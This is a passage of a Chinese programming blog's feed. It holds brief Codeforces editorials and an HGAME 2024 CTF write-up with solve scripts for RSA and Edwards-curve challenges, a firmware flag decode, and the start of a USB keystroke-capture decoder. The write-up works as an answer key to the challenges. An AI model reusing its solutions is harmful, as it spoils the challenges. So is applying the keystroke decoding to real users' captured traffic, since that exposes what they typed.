&lt;p&gt;容易发现要么是对 LCM 的余数，要么就是对 LCM 的余数 + LCM。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;C Find a Mine&lt;/h2&gt;
&lt;p&gt;如果只有一个矿，对两个点查询就可以得到结果。&lt;/p&gt;
&lt;p&gt;不放考虑四个顶点，显然查询 3 个至少有两个指向的是同一个点。&lt;/p&gt;
&lt;p&gt;那么我们可以问 3 个，得到两个点。&lt;/p&gt;
&lt;p&gt;试询一个，成了就成了，不成另外一个可以成。&lt;/p&gt;
&lt;h2&gt;D1 XOR Break — Solo Version&lt;/h2&gt;
&lt;p&gt;要么直接转，要么先转全 1，然后转到目的。&lt;/p&gt;
&lt;h2&gt;D2 XOR Break — Game Version&lt;/h2&gt;
&lt;p&gt;考虑 popcount。&lt;/p&gt;
&lt;p&gt;容易发现 popcount 为奇数的时候是必败状态。&lt;/p&gt;
&lt;p&gt;否则必胜。&lt;/p&gt;
&lt;p&gt;直接做下去即可。&lt;/p&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codeforces Round 1937 解题报告</title><link>https://blog.woshiluo.com/posts/2024/03/codeforces-round-1937-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2024/03/codeforces-round-1937-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</guid><pubDate>Sat, 02 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A Shuffle Party&lt;/h2&gt;
&lt;p&gt;容易观察到在 $2 \cdot x$ 的时候一就会被交换出去。&lt;/p&gt;
&lt;p&gt;输出最小的 2 的次幂即可。&lt;/p&gt;
&lt;h2&gt;B Binary Path&lt;/h2&gt;
&lt;p&gt;开始和结尾是固定的。&lt;/p&gt;
&lt;p&gt;扫描两层中间的部分，只能走上面就归 0，都能走 +1， 只能走下面就结束。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;C Bitwise Operation Wizard&lt;/h2&gt;
&lt;p&gt;先 n 次打擂台，找到最大值。&lt;/p&gt;
&lt;p&gt;很容易发现 $a_i \oplus a_j$ 的最大值应该是 $2^k-1$。&lt;/p&gt;
&lt;p&gt;所以我们可以可以再打一次擂台，找到 $a_m | a_i$ 的最大值及其合法 $a_i$ 序列（其中 $a_m$ 是已经找到的最大值）。&lt;/p&gt;
&lt;p&gt;然后现在要想异或是也能这么优，我们需要找到最小的 $a_i$，再打一次擂台即可。&lt;/p&gt;
&lt;h2&gt;D Pinball&lt;/h2&gt;
&lt;p&gt;什么史诗级分类讨论大题。&lt;/p&gt;
&lt;p&gt;容易发现球在滚来滚去，最后出去。&lt;/p&gt;
&lt;p&gt;球会因为在其左边的 &lt;code&gt;&amp;gt;&lt;/code&gt; 和在其右边的 &lt;code&gt;&amp;lt;&lt;/code&gt; 的反弹一次。&lt;/p&gt;
&lt;p&gt;故事实上求会反弹有限次，且反弹的点位是确定的。&lt;/p&gt;
&lt;p&gt;前缀和优化即可。&lt;/p&gt;
&lt;h2&gt;E Pokémon Arena&lt;/h2&gt;
&lt;p&gt;建图题。&lt;/p&gt;
&lt;p&gt;考虑直接建图描述这个情况，很容易发现复杂度是 $O(n^2m)$ 的，绷不住。&lt;/p&gt;
&lt;p&gt;考虑将每个属性的当前值抽出来建图，这样建图复杂度就是 $O(nm)$ 的，就可以正常通过此题。&lt;/p&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codeforces Round 1929 解题报告</title><link>https://blog.woshiluo.com/posts/2024/03/codeforces-round-1929-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2024/03/codeforces-round-1929-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</guid><pubDate>Sat, 02 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A Sasha and the Beautiful Array&lt;/h2&gt;
&lt;p&gt;直接最大值减最小值即可。&lt;/p&gt;
&lt;h2&gt;B Sasha and the Drawing&lt;/h2&gt;
&lt;p&gt;容易发现，首先填第一行和最后一行是较优的，只有四个端点处有可能重复，别的点每加一个都会覆盖两条对角线。&lt;/p&gt;
&lt;p&gt;对四个端点特判即可。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;C Sasha and the Casino&lt;/h2&gt;
&lt;p&gt;神秘贪心题。&lt;/p&gt;
&lt;p&gt;容易发现，我们并不能堵自己一定会输 $x$ 次然后下一次赢回来，因为中间也是有可能赢的。&lt;/p&gt;
&lt;p&gt;这是的我们不能够最优化分配金钱。&lt;/p&gt;
&lt;p&gt;考虑每一局，我们都应当能够赢回所有本金且有富裕，才能保证一定能够获得任意金钱。&lt;/p&gt;
&lt;p&gt;扫描一遍即可。&lt;/p&gt;
&lt;h2&gt;D Sasha and a Walk in the City&lt;/h2&gt;
&lt;p&gt;这 D 感觉不如和 C 换个位置。&lt;/p&gt;
&lt;p&gt;考虑 $f_{i,0/1/2}$。&lt;/p&gt;
&lt;p&gt;表示 $i$ 为根的字数下面，以 $i$ 往下的链最多有几个危险路口。&lt;/p&gt;
&lt;p&gt;2 的情况显然不能再加，1 的情况要讨论自己是不是危险路口，0 的情况显然恒定为 1。&lt;/p&gt;
&lt;p&gt;直接 dp 即可。&lt;/p&gt;
&lt;h2&gt;E Sasha and the Happy Tree Cutting&lt;/h2&gt;
&lt;p&gt;暴力加边，事实上会发现如果我们考虑状态压缩，即记录每一个边所覆盖到的点对集合。此时集合的种类是 $O(k)$ 的。&lt;/p&gt;
&lt;p&gt;那么我们只需要把这些集合拉出来跑状压 DP 即可。&lt;/p&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codeforces Round 1923 解题报告</title><link>https://blog.woshiluo.com/posts/2024/03/codeforces-round-1923-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2024/03/codeforces-round-1923-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</guid><pubDate>Sat, 02 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A Moving Chips&lt;/h2&gt;
&lt;p&gt;从最后往前，每一格都得点一次。&lt;/p&gt;
&lt;h2&gt;B Monsters Attack!&lt;/h2&gt;
&lt;p&gt;这坐标正负显然没关系。&lt;/p&gt;
&lt;p&gt;绝对值，排序，前缀和，判断每个点是否可行即可。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;C Find B&lt;/h2&gt;
&lt;p&gt;不妨考虑将所有 1 换成 2，将所有别的换成 1。&lt;/p&gt;
&lt;p&gt;如果这样能成，那肯定存在满足题目条件的序列。&lt;/p&gt;
&lt;h2&gt;D Slimes&lt;/h2&gt;
&lt;p&gt;一个序列可以被合并一个史莱姆，要么是他本来就是只有一个，要么就是一个连续段含有两个以上不同血量的史莱姆。&lt;/p&gt;
&lt;p&gt;考虑对于每一个史莱姆，分别考虑其能不能被左右的临近史莱姆吞，或者先找到一个最短的含有两个史莱姆的左临近和右临近序列。&lt;/p&gt;
&lt;p&gt;然后二分寻找合法值即可。&lt;/p&gt;
&lt;h2&gt;E Count Paths&lt;/h2&gt;
&lt;p&gt;虚树。&lt;/p&gt;
&lt;p&gt;考虑令 $f_i$ 表示以 i 为根往下有多少个符合颜色的点且没有被在其他符合颜色的点下面。&lt;/p&gt;
&lt;p&gt;好像有不是虚树的写法，找个时间看看。&lt;/p&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>HGAME 2024 Week4 WriteUP</title><link>https://blog.woshiluo.com/posts/2024/02/hgame-week4-writeup/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2024/02/hgame-week4-writeup/</guid><pubDate>Thu, 29 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Written by woshiluo.&lt;/p&gt;
&lt;p&gt;给官方怎么交的我交原模原样发过来了，如有错误烦请各位大佬斧正。&lt;/p&gt;
&lt;h2&gt;Crypto&lt;/h2&gt;
&lt;h3&gt;lastrsa&lt;/h3&gt;
&lt;p&gt;令 $f=p \operatorname{\texttt{xor}} (q&amp;gt;&amp;gt;13), t=2 \times 114512$。&lt;/p&gt;
&lt;p&gt;给出了 $e_1 = \sum_{i=1}^{40} (ft)^i, e_2 = \sum_{i=1}^{40} (f+t)^i$。&lt;/p&gt;
&lt;p&gt;其实这两个都是多项式啊。&lt;/p&gt;
&lt;p&gt;不妨二项式定理展开，然后对两个多项式求 GCD，发现是一个一次方程，那么我们就得到了 $f$。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;有了 $f$ 之后看看怎么得到 $p,q$。这个难度不太大，很容易注意到 $n$ 的最后 $k$ 位可以由 $p,q$ 的最低 $k$ 位决定，而 $f$ 又给出了 $p,q$ 中大多数位的关系。&lt;/p&gt;
&lt;p&gt;考虑爆破 $q$ 的低 $13$ 位，然后向前递推即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n=136159501395608246592433283541763642196295827652290287729738751327141687762873360488671062583851846628664067117347340297084457474032286451582225574885517757497232577841944028986878525656103449482492190400477852995620473233002547925192690737520592206832895895025277841872025718478827192193010765543046480481871
enc1=2481998981478152169164378674194911111475668734496914731682204172873045273889232856266140236518231314247189371709204253066552650323964534117750428068488816244218804456399611481184330258906749484831445348350172666468738790766815099309565494384945826796034182837505953580660530809234341340618365003203562639721024
enc2=2892413486487317168909532087203213279451225676278514499452279887449096190436834627119161155437012153025493797437822039637248773941097619806471091066094500182219982742574131816371999183859939231601667171386686480639682179794271743863617494759526428080527698539121555583797116049103918578087014860597240690299394

l=13168452015078389807681744077701012683188749953280204324570483361963541298704796389757190180549802771265899020301416729606658667351017116721327316272373584
p=13167244882304693277785720567493996610066918256369682594482416913362069704726831109204371100970154866396462315730687841430922916219416627940866383413192931
q=10340773837858169661474323029012384377394391882332560606952494899463284596209932089793576041492039641919331765221984085549386070977506894068717765568920741
# Try to get start
# def get_mask( i ):
#     return ( 1 &amp;lt;&amp;lt; ( i + 1 ) ) - 1
# def try_both( i, p, q ):
#     # l = p^(q&amp;gt;&amp;gt;13)
#     if i == 512 - 13:
#         t = 512 - 13
#         highp = ( l &amp;gt;&amp;gt; t ) &amp;lt;&amp;lt; t
#         p |= highp
#         q |= ( l ^ p ) &amp;lt;&amp;lt; 13
#         # assert len(bin(p)[2:])==512 and len(bin(q)[2:])==512
#         if is_prime(p) and is_prime(q):
#             print( i, p, q )
#         return
#     mask = get_mask(i)
#     cur_n = n &amp;amp; mask
#     cur_t = 1 &amp;lt;&amp;lt; i
#     s=( p &amp;gt;&amp;gt; i ) &amp;amp; 1
#     t=( l &amp;gt;&amp;gt; i ) &amp;amp; 1
#     for j in range(0,2):
#         for k in range(0,2):
#             if j:
#                 np = p | cur_t
#             else:
#                 np = p
#             if k:
#                 nq = q | cur_t
#             else:
#                 nq = q
#             if ( np * nq ) &amp;amp; mask == cur_n and ( np ^ ( nq &amp;gt;&amp;gt; 13 ) ) &amp;amp; get_mask(i-13) == ( l &amp;amp; get_mask(i-13) ):
#                 try_both( i + 1, np, nq )
#
# for p in range( 1 &amp;lt;&amp;lt; 14 ):
#     tq = 0
#     flag = True
#     for i in range(13):
#         mask = ( 1 &amp;lt;&amp;lt; ( i + 1 ) ) - 1
#         cur_n = n &amp;amp; mask
#         cur_t = 1 &amp;lt;&amp;lt; i
#         if ( ( tq | cur_t ) * p ) &amp;amp; mask == cur_n:
#             tq |= cur_t
#         elif ( tq * p ) &amp;amp; mask == cur_n:
#             tq |= 0
#         else:
#             flag = False
#             break
#     if flag:
#         try_both( 13, tq, p )

assert p * q == n

e=0x10001
c=87077759878060225287052106938097622158896106278756852778571684429767457761148474369973882278847307769690207029595557915248044823659812747567906459417733553420521047767697402135115530660537769991893832879721828034794560921646691417429690920199537846426396918932533649132260605985848584545112232670451169040592
phi = ( p - 1 ) * ( q - 1 )
d = gmpy2.invert( e, phi )

m=pow(c,d,n)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;transmation&lt;/h3&gt;
&lt;p&gt;给定了一个曲线上的 4 个点。&lt;/p&gt;
&lt;p&gt;给定 $e, eG$，求 $G$。&lt;/p&gt;
&lt;p&gt;问题在于求 $G$ 的阶。&lt;/p&gt;
&lt;p&gt;想要 $G$ 的阶，势必要知道曲线。&lt;/p&gt;
&lt;p&gt;题目中有这么一行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(u**2 + v**2 - c**2 * (1 + d * u**2*v**2)) % p == 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;翻译一下：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
x^2 + y^2 - c^2( 1 + dx^2y^2 ) &amp;amp; \equiv 0 \pmod p \
x^2 + y^2 - c^2 + c^2dx^2y^2 &amp;amp; \equiv 0 \pmod p \
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;不妨假设存在 $(x_1,y_1)$, $(x_2,y_2)$ 两个点位于曲线 $E(c, d, p )$ 上。&lt;/p&gt;
&lt;p&gt;那么我们就可以两个式子相减。&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
( x_1^2 + y_1^2 ) - ( x_2^2 + x_2^2 ) = cd^2( x_1^2y_1^2 - x_2^2y_2^2 ) \pmod p \
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;这个式子很好看，如果我知道 $p$，那么 $cd^2$ 就已知了。&lt;/p&gt;
&lt;p&gt;但是我们不知道。&lt;/p&gt;
&lt;p&gt;不妨令上式中&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
p_{1,2} &amp;amp; = ( x_1^2 + y_1^2 ) - ( x_2^2 + x_2^2 ) \
q_{1,2} &amp;amp; = ( x_1^2y_1^2 - x_2^2y_2^2 )
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;注意一下，$p_{i,j}$ 和 $p$ 是两个东西。&lt;/p&gt;
&lt;p&gt;那么我们可以得到数个形如&lt;/p&gt;
&lt;p&gt;$$
p_{i,j} = cd^2 \cdot q_{i,j} + k_{i,j}p
$$&lt;/p&gt;
&lt;p&gt;的等式。&lt;/p&gt;
&lt;p&gt;我们可以对两个等式的 $q_{i,j}$ 部分做类似辗转相除的东西，很容易发现最后大概率会得到一个形如：&lt;/p&gt;
&lt;p&gt;$$
cd^2 + k&apos;&lt;em&gt;{i,j}p = p&apos;&lt;/em&gt;{i,j}
$$&lt;/p&gt;
&lt;p&gt;的式子。&lt;/p&gt;
&lt;p&gt;也就是说，此时 $p&apos;_{i,j}$ 定为 $p$ 的倍数。&lt;/p&gt;
&lt;p&gt;多做几次求个 gcd 一般就得到了 $p$。或者直接拿一次的结果做去做分解也行。&lt;/p&gt;
&lt;p&gt;剩下的就是不同曲线间的转化和求点的阶，这个不算复杂。&lt;/p&gt;
&lt;p&gt;参照：&lt;a href=&quot;https://www-fourier.univ-grenoble-alpes.fr/mphell/doc-v5/conversion_weierstrass_edwards.html&quot;&gt;https://www-fourier.univ-grenoble-alpes.fr/mphell/doc-v5/conversion_weierstrass_edwards.html&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

from Crypto.Util.number import *
from sage.all import *
import gmpy2

mat = [
[423323064726997230640834352892499067628999846, 44150133418579337991209313731867512059107422186218072084511769232282794765835],
[612403241107575741587390996773145537915088133, 64560350111660175566171189050923672010957086249856725096266944042789987443125],
[875772166783241503962848015336037891993605823, 51964088188556618695192753554835667051669568193048726314346516461990381874317],
[1033433758780986378718784935633168786654735170, 2890573833121495534597689071280547153773878148499187840022524010636852499684],
[40198712137747628410430624618331426343875490261805137714686326678112749070113, 65008030741966083441937593781739493959677657609550411222052299176801418887407],
]

def get_c(i, j):
    p=(mat[i][0]**2+mat[i][1]**2)-(mat[j][0]**2+mat[j][1]**2)
    q=(mat[i][0]**2*mat[i][1]**2)-(mat[j][0]**2*mat[j][1]**2)
    return (q,p)

def wtfgcd( p, q ):
    dx1, c1 = p
    dx2, c2 = q
    if dx2 == 0:
        return p
    k = dx1 // dx2
    np = ( dx2, c2 )
    nq = ( dx1 - k * dx2, c1 - k * c2 )
    res = wtfgcd( np, nq )
    return res

def cipolla(n,p):
    n %= p
    if(n == 0 or n == 1):
        return (n,-n%p)
    phi = p - 1
    if(pow(n, phi//2, p) != 1):
        return ()
    if(p%4 == 3):
        ans = pow(n,(p+1)//4,p)
        return (ans,-ans%p)
    aa = 0
    for i in range(1,p):
        temp = pow((i*i-n)%p,phi//2,p)
        if(temp == phi):
            aa = i
            break;
    exponent = convertToBase((p+1)//2,2)

    def cipollaMult(k,i,w,p):
        (a,b) = k
        (c,d) = i
        return ((a*c+b*d*w)%p,(a*d+b*c)%p)
    x1 = (aa,1)
    x2 = cipollaMult(x1,x1,aa*aa-n,p)
    for i in range(1,len(exponent)):
        if(exponent[i] == 0):
            x2 = cipollaMult(x2,x1,aa*aa-n,p)
            x1 = cipollaMult(x1,x1,aa*aa-n,p)
        else:
            x1 = cipollaMult(x1,x2,aa*aa-n,p)
            x2 = cipollaMult(x2,x2,aa*aa-n,p)
    return (x1[0],-x1[0]%p)

# for i in range(5):
#     for j in range(i,5):
#         for k in range(5):
#             for l in range(k,5):
#                 if i == j or k == l:
#                     continue;
#                 p1=get_c(j,i)
#                 p2=get_c(l,k)
#
#                 dx1, a1 = wtfgcd(p1,p2)
#                 if dx1 == 1:
#                     print(a1)

p=67943764351073247630101943221474884302015437788242536572067548198498727238923
d=8779982120820562807260290996171144226614358666469579196351820160975526615300
c=60799864652963819347231403856892915722262395658296749944775205023739430037843
# print(d)

# Curve = ( c, d, p )

def ison(C, P):
    c, d, p = C
    u, v = P
    return (u**2 + v**2 - c**2 * (1 + d * u**2*v**2)) % p == 0
#
# def add(C, P, Q):
#     c, d, p = C
#     u1, v1 = P
#     u2, v2 = Q
#     assert ison(C, P) and ison(C, Q)
#     u3 = (u1 * v2 + v1 * u2) * inverse(c * (1 + d * u1 * u2 * v1 * v2), p) % p
#     v3 = (v1 * v2 - u1 * u2) * inverse(c * (1 - d * u1 * u2 * v1 * v2), p) % p
#     return (int(u3), int(v3))
#
# def mul(C, P, m):
#     assert ison(C, P)
#     c, d, p = C
#     B = bin(m)[2:]
#     l = len(B)
#     u, v = P
#     PP = (-u, v)
#     O = add(C, P, PP)
#     Q = O
#     if m == 0:
#         return O
#     elif m == 1:
#         return P
#     else:
#         for _ in range(l-1):
#             P = add(C, P, P)
#         m = m - 2**(l-1)
#         Q, P = P, (u, v)
#         return add(C, Q, mul(C, P, m))

P = (423323064726997230640834352892499067628999846, 44150133418579337991209313731867512059107422186218072084511769232282794765835)
Q = (1033433758780986378718784935633168786654735170, 2890573833121495534597689071280547153773878148499187840022524010636852499684)
S = (875772166783241503962848015336037891993605823, 51964088188556618695192753554835667051669568193048726314346516461990381874317)
T = (612403241107575741587390996773145537915088133, 64560350111660175566171189050923672010957086249856725096266944042789987443125)
eG = (40198712137747628410430624618331426343875490261805137714686326678112749070113, 65008030741966083441937593781739493959677657609550411222052299176801418887407)
# R = (0, c)
# R = (1, 49758835847489900217902278669501664362583836292959100446678260808358431367765)
# R = (2, 30545040125055794664865543893237826733803510767094125702022046894476623858757)
# print(ison(Curve,R))

F=GF(p)

# To Normal Twist
d = F(d) * ( F(c)**4 )
def to_normal_twi(P):
    x, y = P
    return ( F(x) / F(c), F(y) / F(c) )

P = to_normal_twi(P)
Q = to_normal_twi(Q)
S = to_normal_twi(S)
T = to_normal_twi(T)
eG = to_normal_twi(eG)

# Twist. to Mont.
# https://www-fourier.univ-grenoble-alpes.fr/mphell/doc-v5/conversion_weierstrass_edwards.html
a = F(1)
A = F(2) * ( a + d ) / ( a - d )
B = F(4) / ( a - d )
def twi_to_mon(P):
    u, v = P
    return ( ( F(1) + F(v) ) / ( F(1) - F(v) ), ( F(1) + F(v) ) / ( ( F(1) - F(v) ) * F(u) ) )

def ed_to_mont(P):
    x, y = P
    u = F(1 + y) / F(1 - y)
    v = 2*F(1 + y) / F(x*(1 - y))
    return u,v

P = twi_to_mon(P)
Q = twi_to_mon(Q)
S = twi_to_mon(S)
T = twi_to_mon(T)
eG = twi_to_mon(eG)

def chk_mont(P):
    x, y = P
    assert B * y**2 == x**3 + A * x**2 + x

chk_mont(P)
chk_mont(Q)
chk_mont(S)
chk_mont(T)
chk_mont(eG)

def mont_to_wei(P):
    x, y = P
    return ( ( x + A / 3 ) / B, y / B )

P = mont_to_wei(P)
Q = mont_to_wei(Q)
S = mont_to_wei(S)
T = mont_to_wei(T)
eG = mont_to_wei(eG)

a = F( 1 / B**2 ) * F(1 - ( A ** 2 / 3) )
b = F( A / F( 3 * B**3 ) ) * F( 2 * A ** 2 / 9 - 1 )

def chk_wei(P):
    x, y = P
    assert y**2 == x**3 + a * x + b

chk_wei(P)
chk_wei(Q)
chk_wei(S)
chk_wei(T)
chk_wei(eG)

E = EllipticCurve(F, [a,b])

def to_EC(P):
    x, y = P
    return E(x,y)

P=to_EC(P)
Q=to_EC(Q)
S=to_EC(S)
T=to_EC(T)
eG=to_EC(eG)

o=eG.order()
G=gmpy2.invert(0x10001,o)*eG

print( gmpy2.invert(0x10001,o) )
print(G)
print(gx, gy)
print(0x10001*G)
print(eG)
flag = &quot;hgame{&quot; + hex(gx+gy)[2:] + &quot;}&quot;
print(flag)

p=67943764351073247630101943221474884302015437788242536572067548198498727238923
d=8779982120820562807260290996171144226614358666469579196351820160975526615300
c=60799864652963819347231403856892915722262395658296749944775205023739430037843
Curve = (c, d, p)
eG = (40198712137747628410430624618331426343875490261805137714686326678112749070113, 65008030741966083441937593781739493959677657609550411222052299176801418887407)
G=mul(Curve, eG,31389403316288817845192968641961118291285589666090945601379402870632024025483)
gx, gy = G
flag = &quot;hgame{&quot; + hex(gx+gy)[2:] + &quot;}&quot;
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;IOT&lt;/h2&gt;
&lt;h3&gt;ez7621&lt;/h3&gt;
&lt;p&gt;直接 binwalk 解包。&lt;/p&gt;
&lt;p&gt;find flag&lt;/p&gt;
&lt;p&gt;找到一个 kernel module。&lt;/p&gt;
&lt;p&gt;直接逆向。&lt;/p&gt;
&lt;p&gt;其实就是对 enc 异或了一个常数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char str[] = &quot;&amp;gt;17;3-ee44`3`a{`boe{b2fb{4`d4{bdg5aoog4d44+&quot;;

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif

    for( int i = 0; i &amp;lt; sizeof(str); i ++ )
        printf( &quot;%c&quot;, str[i] ^ 0x56 );

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Misc&lt;/h2&gt;
&lt;h3&gt;ezKeyboard&lt;/h3&gt;
&lt;p&gt;基本上就对 USB 抓包。&lt;/p&gt;
&lt;p&gt;查阅文档直接写脚本就行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
/**
 * Short description for tmp.php
 *
 * @package tmp
 * @author Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 * @version 0.1
 * @copyright (C) 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 * @license GNU AGPLv3+
 */

$pkgs=json_decode(file_get_contents(&quot;./test.json&quot;));
$keys = [
&quot;04&quot;=&amp;gt;&quot;a&quot;, &quot;05&quot;=&amp;gt;&quot;b&quot;, &quot;06&quot;=&amp;gt;&quot;c&quot;, &quot;07&quot;=&amp;gt;&quot;d&quot;, &quot;08&quot;=&amp;gt;&quot;e&quot;,
&quot;09&quot;=&amp;gt;&quot;f&quot;, &quot;0a&quot;=&amp;gt;&quot;g&quot;, &quot;0b&quot;=&amp;gt;&quot;h&quot;, &quot;0c&quot;=&amp;gt;&quot;i&quot;, &quot;0d&quot;=&amp;gt;&quot;j&quot;,
&quot;0e&quot;=&amp;gt;&quot;k&quot;, &quot;0f&quot;=&amp;gt;&quot;l&quot;, &quot;10&quot;=&amp;gt;&quot;m&quot;, &quot;11&quot;=&amp;gt;&quot;n&quot;, &quot;12&quot;=&amp;gt;&quot;o&quot;,
&quot;13&quot;=&amp;gt;&quot;p&quot;, &quot;14&quot;=&amp;gt;&quot;q&quot;, &quot;15&quot;=&amp;gt;&quot;r&quot;, &quot;16&quot;=&amp;gt;&quot;s&quot;, &quot;17&quot;=&amp;gt;&quot;t&quot;,
&quot;18&quot;=&amp;gt;&quot;u&quot;, &quot;19&quot;=&amp;gt;&quot;v&quot;, &quot;1a&quot;=&amp;gt;&quot;w&quot;, &quot;1b&quot;=&amp;gt;&quot;x&quot;, &quot;1c&quot;=&amp;gt;&quot;y&quot;,
&quot;1d&quot;=&amp;gt;&quot;z&quot;,&quot;1e&quot;=&amp;gt;&quot;1&quot;, &quot;1f&quot;=&amp;gt;&quot;2&quot;, &quot;20&quot;=&amp;gt;&quot;3&quot;, &quot;21&quot;=&amp;gt;&quot;4&quot;,
&quot;22&quot;=&amp;gt;&quot;5&quot;, &quot;23&quot;=&amp;gt;&quot;6&quot;,&quot;24&quot;=&amp;gt;&quot;7&quot;,&quot;25&quot;=&amp;gt;&quot;8&quot;,&quot;26&quot;=&amp;gt;&quot;9&quot;,
&quot;27&quot;=&amp;gt;&quot;0&quot;,&quot;28&quot;=&amp;gt;&quot;&amp;lt;RET&amp;gt;&quot;,&quot;29&quot;=&amp;gt;&quot;&amp;lt;ESC&amp;gt;&quot;,&quot;2a&quot;=&amp;gt;&quot;&amp;lt;DEL&amp;gt;&quot;, &quot;2b&quot;=&amp;gt;&quot;\t&quot;,
&quot;2c&quot;=&amp;gt;&quot;&amp;lt;SPACE&amp;gt;&quot;,&quot;2d&quot;=&amp;gt;&quot;-&quot;,&quot;2e&quot;=&amp;gt;&quot;=&quot;,&quot;2f&quot;=&amp;gt;&quot;[&quot;,&quot;30&quot;=&amp;gt;&quot;]&quot;,&quot;31&quot;=&amp;gt;&quot;\&quot;,
&quot;32&quot;=&amp;gt;&quot;&amp;lt;NON&amp;gt;&quot;,&quot;33&quot;=&amp;gt;&quot;;&quot;,&quot;34&quot;=&amp;gt;&quot;&apos;&quot;,&quot;35&quot;=&amp;gt;&quot;`&quot;,&quot;36&quot;=&amp;gt;&quot;,&quot;,&quot;37&quot;=&amp;gt;&quot;.&quot;,
&quot;38&quot;=&amp;gt;&quot;/&quot;,&quot;39&quot;=&amp;gt;&quot;&amp;lt;CAP&amp;gt;&quot;,&quot;3a&quot;=&amp;gt;&quot;&amp;lt;F1&amp;gt;&quot;,&quot;3b&quot;=&amp;gt;&quot;&amp;lt;F2&amp;gt;&quot;, &quot;3c&quot;=&amp;gt;&quot;&amp;lt;F3&amp;gt;&quot;,&quot;3d&quot;=&amp;gt;&quot;&amp;lt;F4&amp;gt;&quot;,
&quot;3e&quot;=&amp;gt;&quot;&amp;lt;F5&amp;gt;&quot;,&quot;3f&quot;=&amp;gt;&quot;&amp;lt;F6&amp;gt;&quot;,&quot;40&quot;=&amp;gt;&quot;&amp;lt;F7&amp;gt;&quot;,&quot;41&quot;=&amp;gt;&quot;&amp;lt;F8&amp;gt;&quot;,&quot;42&quot;=&amp;gt;&quot;&amp;lt;F9&amp;gt;&quot;,&quot;43&quot;=&amp;gt;&quot;&amp;lt;F10&amp;gt;&quot;,
&quot;44&quot;=&amp;gt;&quot;&amp;lt;F11&amp;gt;&quot;,&quot;45&quot;=&amp;gt;&quot;&amp;lt;F12&amp;gt;&quot;
];
$shift_keys = [
&quot;04&quot;=&amp;gt;&quot;A&quot;, &quot;05&quot;=&amp;gt;&quot;B&quot;, &quot;06&quot;=&amp;gt;&quot;C&quot;, &quot;07&quot;=&amp;gt;&quot;D&quot;, &quot;08&quot;=&amp;gt;&quot;E&quot;,
&quot;09&quot;=&amp;gt;&quot;F&quot;, &quot;0a&quot;=&amp;gt;&quot;G&quot;, &quot;0b&quot;=&amp;gt;&quot;H&quot;, &quot;0c&quot;=&amp;gt;&quot;I&quot;, &quot;0d&quot;=&amp;gt;&quot;J&quot;,
&quot;0e&quot;=&amp;gt;&quot;K&quot;, &quot;0f&quot;=&amp;gt;&quot;L&quot;, &quot;10&quot;=&amp;gt;&quot;M&quot;, &quot;11&quot;=&amp;gt;&quot;N&quot;, &quot;12&quot;=&amp;gt;&quot;O&quot;,
&quot;13&quot;=&amp;gt;&quot;P&quot;, &quot;14&quot;=&amp;gt;&quot;Q&quot;, &quot;15&quot;=&amp;gt;&quot;R&quot;, &quot;16&quot;=&amp;gt;&quot;S&quot;, &quot;17&quot;=&amp;gt;&quot;T&quot;,
&quot;18&quot;=&amp;gt;&quot;U&quot;, &quot;19&quot;=&amp;gt;&quot;V&quot;, &quot;1a&quot;=&amp;gt;&quot;W&quot;, &quot;1b&quot;=&amp;gt;&quot;X&quot;, &quot;1c&quot;=&amp;gt;&quot;Y&quot;,
